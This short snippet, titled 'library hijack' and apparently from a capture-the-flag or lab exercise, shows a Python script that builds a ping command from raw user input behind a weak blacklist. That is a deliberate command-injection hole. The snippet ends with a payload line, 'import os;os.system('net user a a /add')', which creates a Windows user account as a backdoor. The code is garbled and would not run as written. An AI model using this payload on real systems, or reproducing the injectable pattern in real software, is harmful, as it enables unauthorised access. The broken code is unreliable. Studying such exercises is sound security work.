library hijack

import os
import sys
import random_useragent
while True:
	ping = raw_input ("input: ")
	if '&&' in ping:
		print ;hacker....:
		sys.exit()
	elif '|' in ping:
		print ;hacker....:
	else
		os.system('ping {}'.format(ping))
python_py aa_py
input: import os;os.system('net user a a /add')